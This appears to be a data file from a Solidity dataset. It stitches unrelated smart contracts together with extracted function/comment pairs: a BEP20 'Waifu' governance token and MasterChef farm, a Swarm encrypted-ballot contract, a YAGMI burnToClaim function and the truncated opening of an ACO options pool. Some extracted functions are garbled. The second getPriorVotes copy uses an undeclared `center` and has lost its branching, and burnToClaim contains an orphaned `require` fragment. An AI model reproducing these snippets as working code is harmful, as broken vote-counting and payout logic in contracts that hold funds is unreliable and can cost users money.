{BEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom (address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance') ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero')); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function mint(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer (address sender, address recipient, uint256 amount) internal { require(sender != address(0), 'BEP20: transfer from the zero address'); require(recipient != address(0), 'BEP20: transfer to the zero address'); _balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance'); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), 'BEP20: mint to the zero address'); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), 'BEP20: burn from the zero address'); _balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance'); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve (address owner, address spender, uint256 amount) internal { require(owner != address(0), 'BEP20: approve from the zero address'); require(spender != address(0), 'BEP20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance')); } } pragma solidity 0.6.12; // Waifu with Governance. contract Waifu is BEP20('WAIFU', 'WAIFU') { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "CoinToken::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "CoinToken::delegateBySig: invalid nonce"); require(now <= expiry, "CoinToken::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "CoinToken::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CoinToken (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "CoinToken::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // MasterChef is the master of Waifu. He can make Waifu and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once Waifu is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract MasterChef is Ownable { using SafeMath for uint256; using SafeBEP20 for IBEP20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of Waifu // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accMSCPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accMSCPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IBEP20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. Waifu to distribute per block. uint256 lastRewardBlock; // Last block number that Waifu distribution occurs. uint256 accEggPerShare; // Accumulated Waifu per share, times 1e12. See below. uint16 depositFeeBP; // Deposit fee in basis points } // The Waifu TOKEN! Waifu public egg; // Dev address. address public devaddr; // EGG tokens created per block. uint256 public eggPerBlock; // Bonus muliplier for early egg makers. uint256 public constant BONUS_MULTIPLIER = 1; // Deposit Fee address address public feeAddress; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when EGG mining starts. uint256 public startBlock; // info of addresses that have been created (LP Tokens) mapping(address => bool) public lpAddresses; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( Waifu _Waifu, address _devaddr, address _feeAddress, uint256 _waifuPerBlock, uint256 _startBlock ) public { egg = _Waifu; devaddr = _devaddr; feeAddress = _feeAddress; eggPerBlock = _waifuPerBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } /** * Add a new lp to the pool. Can only be called by the owner. * * @param _allocPoint the total allocation points in the farm/pool (multiplier) * @param _lpToken the token * @param safe_lp address of _lpToken used for GMC-04 Certik * @param _depositFeeBP deposit fee for farm/pool payable by users * @param _withUpdate if true updates reward variables for all pools (must be careful with gas) */ function add(uint256 _allocPoint, IBEP20 _lpToken, address safe_lp, uint16 _depositFeeBP, bool _withUpdate) public onlyOwner { require(_depositFeeBP <= 1000, "add: invalid deposit fee basis points"); require(lpAddresses[safe_lp] == false, "add: lp token already added"); if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accEggPerShare: 0, depositFeeBP: _depositFeeBP })); lpAddresses[safe_lp] = true; } // Update the given pool's CoinToken allocation point and deposit fee. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, uint16 _depositFeeBP, bool _withUpdate) public onlyOwner { require(_depositFeeBP <= 1000, "set: invalid deposit fee basis points"); if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; poolInfo[_pid].depositFeeBP = _depositFeeBP; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } // View function to see pending CoinToken on frontend. function pendingEgg(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accEggPerShare = pool.accEggPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 eggReward = multiplier.mul(eggPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accEggPerShare = accEggPerShare.add(eggReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accEggPerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0 || pool.allocPoint == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 eggReward = multiplier.mul(eggPerBlock).mul(pool.allocPoint).div(totalAllocPoint); egg.mint(devaddr, eggReward.div(10)); egg.mint(address(this), eggReward); pool.accEggPerShare = pool.accEggPerShare.add(eggReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for EGG allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accEggPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeEggTransfer(msg.sender, pending); } } if(_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); if(pool.depositFeeBP > 0){ uint256 depositFee = _amount.mul(pool.depositFeeBP).div(10000); pool.lpToken.safeTransfer(feeAddress, depositFee); user.amount = user.amount.add(_amount).sub(depositFee); }else{ user.amount = user.amount.add(_amount); } } user.rewardDebt = user.amount.mul(pool.accEggPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accEggPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeEggTransfer(msg.sender, pending); } if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accEggPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), amount); emit EmergencyWithdraw(msg.sender, _pid, amount); } // Safe egg transfer function, just in case if rounding error causes pool to not have enough CoinToken. function safeEggTransfer(address _to, uint256 _amount) internal { uint256 eggBal = egg.balanceOf(address(this)); if (_amount > eggBal) { egg.transfer(_to, eggBal); } else { egg.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } function setFeeAddress(address _feeAddress) public{ require(msg.sender == feeAddress, "setFeeAddress: FORBIDDEN"); feeAddress = _feeAddress; } //Pancake has to add hidden dummy pools inorder to alter the emission, here we make it simple and transparent to all. function updateEmissionRate(uint256 _waifuPerBlock) public onlyOwner { massUpdatePools(); require(_waifuPerBlock < 25000000000000000000); eggPerBlock = _waifuPerBlock; } }
Determine the prior number of votes for an account as of a block number Block number must be a finalized block or else this function will revert to prevent misinformation. account The address of the account to check blockNumber The block number to get the vote balance at return The number of votes the account had as of the given block/ First check most recent balance Next check implicit zero balance
function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "CoinToken::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; }
2,267,619
//Address: 0x6b649662da40f10361f008b481143029296a69d6 //Contract name: SwarmVotingMVP //Balance: 0 Ether //Verification Date: 3/1/2018 //Transacion Count: 6 // CODE STARTS HERE pragma solidity ^0.4.17; // // Swarm Voting MVP // Single use contract to manage liquidity vote shortly after Swarm TS // Author: Max Kaye // // // Architecture: // * Ballot authority declares public key with which to encrypt ballots // * Users submit encrypted ballots as blobs // * These ballots are tracked by the ETH address of the sender // * Following the conclusion of the ballot, the secret key is provided // by the ballot authority, and all users may transparently and // independently validate the results // // Notes: // * Since ballots are encrypted the only validation we can do is length // contract SwarmVotingMVP { //// ** Storage Variables // Std owner pattern address public owner; // test mode - operations like changing start/end times bool public testMode = false; // Maps to store ballots, along with corresponding log of voters. // Should only be modified through `addBallotAndVoter` internal function mapping(uint256 => bytes32) public encryptedBallots; mapping(uint256 => bytes32) public associatedPubkeys; mapping(uint256 => address) public associatedAddresses; uint256 public nVotesCast = 0; // Use a map for voters to look up their ballot mapping(address => uint256) public voterToBallotID; // Public key with which to encrypt ballots - curve25519 bytes32 public ballotEncryptionPubkey; // Private key to be set after ballot conclusion - curve25519 bytes32 public ballotEncryptionSeckey; bool seckeyRevealed = false; bool allowSeckeyBeforeEndTime = false; // Timestamps for start and end of ballot (UTC) uint256 public startTime; uint256 public endTime; // Banned addresses - necessary to ban Swarm Fund from voting in their own ballot mapping(address => bool) public bannedAddresses; address public swarmFundAddress = 0x8Bf7b2D536D286B9c5Ad9d99F608e9E214DE63f0; bytes32[5] public optionHashes; //// ** Events event CreatedBallot(address creator, uint256 start, uint256 end, bytes32 encPubkey, string o1, string o2, string o3, string o4, string o5); event SuccessfulVote(address voter, bytes32 ballot, bytes32 pubkey); event SeckeyRevealed(bytes32 secretKey); event AllowEarlySeckey(bool allowEarlySeckey); event TestingEnabled(); event Error(string error); //// ** Modifiers modifier notBanned { if (!bannedAddresses[msg.sender]) { // ensure banned addresses cannot vote _; } else { Error("Banned address"); } } modifier onlyOwner { if (msg.sender == owner) { // fail if msg.sender is not the owner _; } else { Error("Not owner"); } } modifier ballotOpen { if (block.timestamp >= startTime && block.timestamp < endTime) { _; } else { Error("Ballot not open"); } } modifier onlyTesting { if (testMode) { _; } else { Error("Testing disabled"); } } //// ** Functions // Constructor function - init core params on deploy function SwarmVotingMVP(uint256 _startTime, uint256 _endTime, bytes32 _encPK, bool enableTesting, bool _allowSeckeyBeforeEndTime, string opt1, string opt2, string opt3, string opt4, string opt5) public { owner = msg.sender; startTime = _startTime; endTime = _endTime; ballotEncryptionPubkey = _encPK; bannedAddresses[swarmFundAddress] = true; optionHashes = [keccak256(opt1), keccak256(opt2), keccak256(opt3), keccak256(opt4), keccak256(opt5)]; allowSeckeyBeforeEndTime = _allowSeckeyBeforeEndTime; AllowEarlySeckey(_allowSeckeyBeforeEndTime); if (enableTesting) { testMode = true; TestingEnabled(); } CreatedBallot(msg.sender, _startTime, _endTime, _encPK, opt1, opt2, opt3, opt4, opt5); } // Ballot submission function submitBallot(bytes32 encryptedBallot, bytes32 senderPubkey) notBanned ballotOpen public { addBallotAndVoter(encryptedBallot, senderPubkey); } // Internal function to ensure atomicity of voter log function addBallotAndVoter(bytes32 encryptedBallot, bytes32 senderPubkey) internal { uint256 ballotNumber = nVotesCast; encryptedBallots[ballotNumber] = encryptedBallot; associatedPubkeys[ballotNumber] = senderPubkey; associatedAddresses[ballotNumber] = msg.sender; voterToBallotID[msg.sender] = ballotNumber; nVotesCast += 1; SuccessfulVote(msg.sender, encryptedBallot, senderPubkey); } // Allow the owner to reveal the secret key after ballot conclusion function revealSeckey(bytes32 _secKey) onlyOwner public { if (allowSeckeyBeforeEndTime == false) { require(block.timestamp > endTime); } ballotEncryptionSeckey = _secKey; seckeyRevealed = true; // this flag allows the contract to be locked SeckeyRevealed(_secKey); } // Helpers function getEncPubkey() public constant returns (bytes32) { return ballotEncryptionPubkey; } function getEncSeckey() public constant returns (bytes32) { return ballotEncryptionSeckey; } function getBallotOptions() public constant returns (bytes32[5]) { return optionHashes; } // ballot params - allows the frontend to do some checking function getBallotOptNumber() public pure returns (uint256) { return 5; } // Test functions function setEndTime(uint256 newEndTime) onlyTesting onlyOwner public { endTime = newEndTime; } function banAddress(address _addr) onlyTesting onlyOwner public { bannedAddresses[_addr] = true; } }
Constructor function - init core params on deploy
function SwarmVotingMVP(uint256 _startTime, uint256 _endTime, bytes32 _encPK, bool enableTesting, bool _allowSeckeyBeforeEndTime, string opt1, string opt2, string opt3, string opt4, string opt5) public { owner = msg.sender; startTime = _startTime; endTime = _endTime; ballotEncryptionPubkey = _encPK; bannedAddresses[swarmFundAddress] = true; optionHashes = [keccak256(opt1), keccak256(opt2), keccak256(opt3), keccak256(opt4), keccak256(opt5)]; allowSeckeyBeforeEndTime = _allowSeckeyBeforeEndTime; AllowEarlySeckey(_allowSeckeyBeforeEndTime); if (enableTesting) { testMode = true; TestingEnabled(); } CreatedBallot(msg.sender, _startTime, _endTime, _encPK, opt1, opt2, opt3, opt4, opt5); }
12,824,431
./full_match/80001/0x71ac01342909DFb970E536EB8bB0DDA41C65F345/sources/src/YAGMIController.sol
totalSupply can't be 0 because balance > 0 uint256 basePrice = nftProps.price + (nftProps.price uint256(nftProps.apy)) / PRECISION;
function burnToClaim(uint256 tokenId) public { YAGMIProps memory nftProps = tokens[tokenId]; require( nftProps.status == YAGMIStatus.BURN_OPEN, "Burn to withdraw not open" ); uint256 balance = yagmi.balanceOf(msg.sender, tokenId); require(balance > 0, "Balance is 0. No tokens to burn"); uint256 totalSupply = yagmi.totalSupply(tokenId); uint256 baseClaim = nftProps.price * balance + (nftProps.price * balance * nftProps.apy) / PRECISION; uint256 interestsClaim = balance == totalSupply ? nftProps.interestsAccrued : (nftProps.interestsAccrued * balance) / totalSupply; console.log("Returned: ", nftProps.amountReturned); console.log("Claimed + Claim: ", nftProps.amountClaimed + baseClaim); if (balance == totalSupply) { baseClaim = nftProps.amountReturned - nftProps.amountClaimed; } require( nftProps.amountReturned >= nftProps.amountClaimed + baseClaim, "Not enough balance to claim" ); tokens[tokenId].amountClaimed += baseClaim; if (balance == totalSupply) tokens[tokenId].status = YAGMIStatus.FINISHED; IERC20(nftProps.erc20).transfer( msg.sender, baseClaim + interestsClaim ), "ERC20 transfer failed" ); emit ClaimedByBurn( msg.sender, tokenId, balance, baseClaim, interestsClaim ); }
853,430
pragma solidity ^0.6.6; pragma experimental ABIEncoderV2; import './Ownable.sol'; import './SafeMath.sol'; import './Address.sol'; import './ACONameFormatter.sol'; import './ACOAssetHelper.sol'; import './ERC20.sol'; import './IACOPool.sol'; import './IACOFactory.sol'; import './IACOStrategy.sol'; import './IACOToken.sol'; import './IACOFlashExercise.sol'; import './IUniswapV2Router02.sol'; import './IChiToken.sol'; /** * @title ACOPool * @dev A pool contract to trade ACO tokens. */ contract ACOPool is Ownable, ERC20, IACOPool { using Address for address; using SafeMath for uint256; uint256 internal constant POOL_PRECISION = 1000000000000000000; // 18 decimals uint256 internal constant MAX_UINT = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; /** * @dev Struct to store an ACO token trade data. */ struct ACOTokenData { /** * @dev Amount of tokens sold by the pool. */ uint256 amountSold; /** * @dev Amount of tokens purchased by the pool. */ uint256 amountPurchased; /** * @dev Index of the ACO token on the stored array. */ uint256 index; } /** * @dev Emitted when the strategy address has been changed. * @param oldStrategy Address of the previous strategy. * @param newStrategy Address of the new strategy. */ event SetStrategy(address indexed oldStrategy, address indexed newStrategy); /** * @dev Emitted when the base volatility has been changed. * @param oldBaseVolatility Value of the previous base volatility. * @param newBaseVolatility Value of the new base volatility. */ event SetBaseVolatility(uint256 indexed oldBaseVolatility, uint256 indexed newBaseVolatility); /** * @dev Emitted when a collateral has been deposited on the pool. * @param account Address of the account. * @param amount Amount deposited. */ event CollateralDeposited(address indexed account, uint256 amount); /** * @dev Emitted when the collateral and premium have been redeemed on the pool. * @param account Address of the account. * @param underlyingAmount Amount of underlying asset redeemed. * @param strikeAssetAmount Amount of strike asset redeemed. */ event Redeem(address indexed account, uint256 underlyingAmount, uint256 strikeAssetAmount); /** * @dev Emitted when the collateral has been restored on the pool. * @param amountOut Amount of the premium sold. * @param collateralIn Amount of collateral restored. */ event RestoreCollateral(uint256 amountOut, uint256 collateralIn); /** * @dev Emitted when an ACO token has been redeemed. * @param acoToken Address of the ACO token. * @param collateralIn Amount of collateral redeemed. * @param amountSold Total amount of ACO token sold by the pool. * @param amountPurchased Total amount of ACO token purchased by the pool. */ event ACORedeem(address indexed acoToken, uint256 collateralIn, uint256 amountSold, uint256 amountPurchased); /** * @dev Emitted when an ACO token has been exercised. * @param acoToken Address of the ACO token. * @param tokenAmount Amount of ACO tokens exercised. * @param collateralIn Amount of collateral received. */ event ACOExercise(address indexed acoToken, uint256 tokenAmount, uint256 collateralIn); /** * @dev Emitted when an ACO token has been bought or sold by the pool. * @param isPoolSelling True whether the pool is selling an ACO token, otherwise the pool is buying. * @param account Address of the account that is doing the swap. * @param acoToken Address of the ACO token. * @param tokenAmount Amount of ACO tokens swapped. * @param price Value of the premium paid in strike asset. * @param protocolFee Value of the protocol fee paid in strike asset. * @param underlyingPrice The underlying price in strike asset. */ event Swap( bool indexed isPoolSelling, address indexed account, address indexed acoToken, uint256 tokenAmount, uint256 price, uint256 protocolFee, uint256 underlyingPrice ); /** * @dev UNIX timestamp that the pool can start to trade ACO tokens. */ uint256 public poolStart; /** * @dev The protocol fee percentage. (100000 = 100%) */ uint256 public fee; /** * @dev Address of the ACO flash exercise contract. */ IACOFlashExercise public acoFlashExercise; /** * @dev Address of the ACO factory contract. */ IACOFactory public acoFactory; /** * @dev Address of the Uniswap V2 router. */ IUniswapV2Router02 public uniswapRouter; /** * @dev Address of the Chi gas token. */ IChiToken public chiToken; /** * @dev Address of the protocol fee destination. */ address public feeDestination; /** * @dev Address of the underlying asset accepts by the pool. */ address public underlying; /** * @dev Address of the strike asset accepts by the pool. */ address public strikeAsset; /** * @dev Value of the minimum strike price on ACO token that the pool accept to trade. */ uint256 public minStrikePrice; /** * @dev Value of the maximum strike price on ACO token that the pool accept to trade. */ uint256 public maxStrikePrice; /** * @dev Value of the minimum UNIX expiration on ACO token that the pool accept to trade. */ uint256 public minExpiration; /** * @dev Value of the maximum UNIX expiration on ACO token that the pool accept to trade. */ uint256 public maxExpiration; /** * @dev True whether the pool accepts CALL options, otherwise the pool accepts only PUT options. */ bool public isCall; /** * @dev True whether the pool can also buy ACO tokens, otherwise the pool only sells ACO tokens. */ bool public canBuy; /** * @dev Address of the strategy. */ IACOStrategy public strategy; /** * @dev Percentage value for the base volatility. (100000 = 100%) */ uint256 public baseVolatility; /** * @dev Total amount of collateral deposited. */ uint256 public collateralDeposited; /** * @dev Total amount in strike asset spent buying ACO tokens. */ uint256 public strikeAssetSpentBuying; /** * @dev Total amount in strike asset earned selling ACO tokens. */ uint256 public strikeAssetEarnedSelling; /** * @dev Array of ACO tokens currently negotiated. */ address[] public acoTokens; /** * @dev Mapping for ACO tokens data currently negotiated. */ mapping(address => ACOTokenData) public acoTokensData; /** * @dev Underlying asset precision. (18 decimals = 1000000000000000000) */ uint256 internal underlyingPrecision; /** * @dev Strike asset precision. (6 decimals = 1000000) */ uint256 internal strikeAssetPrecision; /** * @dev Modifier to check if the pool is open to trade. */ modifier open() { require(isStarted() && notFinished(), "ACOPool:: Pool is not open"); _; } /** * @dev Modifier to apply the Chi gas token and save gas. */ modifier discountCHI { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; chiToken.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41947); } /** * @dev Function to initialize the contract. * It should be called by the ACO pool factory when creating the pool. * It must be called only once. The first `require` is to 